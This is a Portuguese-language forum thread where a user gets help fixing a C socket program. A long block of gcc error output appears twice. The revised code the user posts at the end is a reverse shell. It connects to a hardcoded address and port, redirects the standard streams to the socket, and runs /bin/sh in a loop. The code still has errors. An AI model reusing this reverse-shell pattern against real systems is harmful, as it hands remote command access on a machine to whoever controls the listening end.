mrx6s0
(usa Ubuntu)
Enviado em 06/10/2017 - 23:40h
paulo1205 escreveu:
Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.
$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c
x.c: In function ‘main’:
x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
listenfd = socket(AF_INET, SOCK_STREAM, 0);
^
x.c:57:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
In file included from /usr/include/arpa/inet.h:22:0,
from x.c:6:
x.c:63:37: error: passing argument 1 of ‘__bswap_32’ makes integer from pointer without a cast [-Wint-conversion]
serv_addr.sin_addr.s_addr = htonl(ip);
^
In file included from /usr/include/endian.h:60:0,
from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,
from /usr/include/stdlib.h:42,
from x.c:2:
/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ‘unsigned int’ but argument is of type ‘const unsigned char **’
__bswap_32 (unsigned int __bsx)
^
x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (listenfd <= 0)
^
x.c:69:18: error: passing argument 1 of ‘setsockopt’ makes integer from pointer without a cast [-Wint-conversion]
if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int))
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int setsockopt (int __fd, int __level, int __optname,
^
x.c:72:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
x.c:74:10: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int listen (int __fd, int __n) __THROW;
^
x.c:77:13: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’
extern int listen (int __fd, int __n) __THROW;
^
x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
clien = sizeof(serv_addr);
^
x.c:84:29: error: ‘sockfd’ undeclared (first use in this function)
newsockfd = accept(sockfd,
^
x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in
x.c:86:18: error: passing argument 3 of ‘accept’ from incompatible pointer type [-Wincompatible-pointer-types]
&clien);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ‘socklen_t * restrict {aka unsigned int * restrict}’ but argument is of type ‘const long unsigned int **’
extern int accept (int __fd, __SOCKADDR_ARG __addr,
^
x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (newsockfd < 0)
^
x.c:89:14: error: implicit declaration of function ‘error’ [-Wimplicit-function-declaration]
error("ERROR on accept");
^
x.c:91:14: error: implicit declaration of function ‘read’ [-Wimplicit-function-declaration]
n = read(newsockfd,cmd,255);
^
x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = read(newsockfd,cmd,255);
^
x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR reading from socket");
^
x.c:93:17: error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘const unsigned char **’ [-Werror=format=]
printf("Here is the message: %s\n",cmd);
^
x.c:94:14: error: implicit declaration of function ‘write’ [-Wimplicit-function-declaration]
n = write(newsockfd,"I got your message",18);
^
x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = write(newsockfd,"I got your message",18);
^
x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR writing to socket");
^
x.c:96:10: error: implicit declaration of function ‘close’ [-Wimplicit-function-declaration]
close(newsockfd);
^
cc1: all warnings being treated as errors
Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?
paulo1205 escreveu:
Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.
$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c
x.c: In function ?main?:
x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
listenfd = socket(AF_INET, SOCK_STREAM, 0);
^
x.c:57:8: error: passing argument 1 of ?bind? makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
In file included from /usr/include/arpa/inet.h:22:0,
from x.c:6:
x.c:63:37: error: passing argument 1 of ?__bswap_32? makes integer from pointer without a cast [-Wint-conversion]
serv_addr.sin_addr.s_addr = htonl(ip);
^
In file included from /usr/include/endian.h:60:0,
from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,
from /usr/include/stdlib.h:42,
from x.c:2:
/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ?unsigned int? but argument is of type ?const unsigned char **?
__bswap_32 (unsigned int __bsx)
^
x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (listenfd <= 0)
^
x.c:69:18: error: passing argument 1 of ?setsockopt? makes integer from pointer without a cast [-Wint-conversion]
if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int))
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int setsockopt (int __fd, int __level, int __optname,
^
x.c:72:8: error: passing argument 1 of ?bind? makes integer from pointer without a cast [-Wint-conversion]
bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
^
x.c:74:10: error: passing argument 1 of ?listen? makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int listen (int __fd, int __n) __THROW;
^
x.c:77:13: error: passing argument 1 of ?listen? makes integer from pointer without a cast [-Wint-conversion]
listen(listenfd, 10);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ?int? but argument is of type ?const long unsigned int *?
extern int listen (int __fd, int __n) __THROW;
^
x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
clien = sizeof(serv_addr);
^
x.c:84:29: error: ?sockfd? undeclared (first use in this function)
newsockfd = accept(sockfd,
^
x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in
x.c:86:18: error: passing argument 3 of ?accept? from incompatible pointer type [-Wincompatible-pointer-types]
&clien);
^
In file included from /usr/include/netinet/in.h:23:0,
from /usr/include/arpa/inet.h:22,
from x.c:6:
/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ?socklen_t * restrict {aka unsigned int * restrict}? but argument is of type ?const long unsigned int **?
extern int accept (int __fd, __SOCKADDR_ARG __addr,
^
x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (newsockfd < 0)
^
x.c:89:14: error: implicit declaration of function ?error? [-Wimplicit-function-declaration]
error("ERROR on accept");
^
x.c:91:14: error: implicit declaration of function ?read? [-Wimplicit-function-declaration]
n = read(newsockfd,cmd,255);
^
x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = read(newsockfd,cmd,255);
^
x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR reading from socket");
^
x.c:93:17: error: format ?%s? expects argument of type ?char *?, but argument 2 has type ?const unsigned char **? [-Werror=format=]
printf("Here is the message: %s\n",cmd);
^
x.c:94:14: error: implicit declaration of function ?write? [-Wimplicit-function-declaration]
n = write(newsockfd,"I got your message",18);
^
x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]
n = write(newsockfd,"I got your message",18);
^
x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]
if (n < 0) error("ERROR writing to socket");
^
x.c:96:10: error: implicit declaration of function ?close? [-Wimplicit-function-declaration]
close(newsockfd);
^
cc1: all warnings being treated as errors
Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?
Bom, eu não encontrei muita coisa sobre ponteiros envolvendo sockets, fiquei meio perdido...
Mas estou encontrando os erros.
Eu acabei de arrumar, é bem trivial, mas funcional. Vou melhorando aos poucos.
Toda ajuda é bem vinda para tratar melhor a escrita do código.
Segue o esboço:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#define remote_addr "127.0.0.1"
#define remote_port 55766
/* struct of cong=figurations to target. */
typedef struct client {
char REMOTE_ADDR;
int REMOTE_PORT;
/* char cmd[_T_SIZE 256];
char send[2046]; não serão usados, por ora. */
} Client;
typedef struct connection_success {
/*
int sockfd;
int newsockfd;
int listenfd; */
int x;
} Connection_success;
/* create connection */
void shell()
{
struct sockaddr_in s;
s.sin_family = AF_INET;
s.sin_addr.s_addr = inet_addr(remote_addr);
s.sin_port = htons(remote_port);
x = socket(AF_INET, SOCK_STREAM, 0);
connect(x, (struct sockaddr *)&s, sizeof(s));
if (setsockopt(x, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)
perror("setsockopt(SO_REUSEADDR) failed");
send(x,"\nConnected\n",12,0);
/* gambiarra. */
dup2(x, 0);
dup2(x, 1);
dup2(x, 2);
execve("/bin/sh", 0, 0);
execve("cmd.exe", 0, 0);
execve("/netcat", 0, 0);
}
/* execute the program */
int main(int argc, char *argv[])
{
while(1)
shell();
}